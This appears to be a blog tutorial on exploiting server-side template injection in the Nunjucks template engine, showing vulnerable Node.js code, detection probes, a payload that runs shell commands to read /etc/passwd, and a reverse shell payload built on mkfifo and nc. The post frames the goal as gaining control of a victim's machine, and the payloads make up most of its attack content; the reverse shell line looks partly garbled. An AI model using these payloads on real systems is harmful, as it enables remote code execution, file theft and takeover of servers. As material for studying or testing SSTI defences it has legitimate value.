Server Side Template Injection (SSTI) for Reverse Shell

I would like to share server side template injection exploitation to enable you to have reverse shell connection back to your machine for better control on the victim’s machine

What is SSTI

A server-side template injection can happen when the attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side.

$output = $template->render("Hi " . $_GET['name']);

How to detect?

Lets say that we have input data like below and it is relfected back to the result like this. When we input data then it will be returned back to the output page. If this is contain SSTI vulnerability then we can try to put this string payload


if we put the payload below into the

<%= 7*7 %>

Lets check if the input box is vulnerable to the SSTI by inputing the payload into the box

We test to input the email address with {{7*7}} and it is giving us the output which means the template engine is vulnerable to injection which cause server side execution

If we take a look at the backend code of that application is like below'/api/submit', async function(req, res) {
  if(req.url) {
    const { email } = unflatten(req.body);
    var data = {
      email: email
    connection.connect(function(err) {
       connection.query('INSERT INTO users SET email = ?', email, function(err, result) {
        var template = 'You will receive updates on the following email address: ' + email + '.';
        rendered = nunjucks.renderString(
          str = template
        return res.json({'response': rendered});

Based on the above code that we can see that nunjucks engine will render the template with the variable that we can control which can lead to server side execution


We can find a very good writeup about nunjucks template engine and its vulnerability in this webpage

On that article we can find a sample code to execute server side code to retrieve /etc/passwd on the server

{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}

Following the above payload sample then we can try to create reverse shell with the following code

{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4444 >/tmp/f~')\")()}}

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s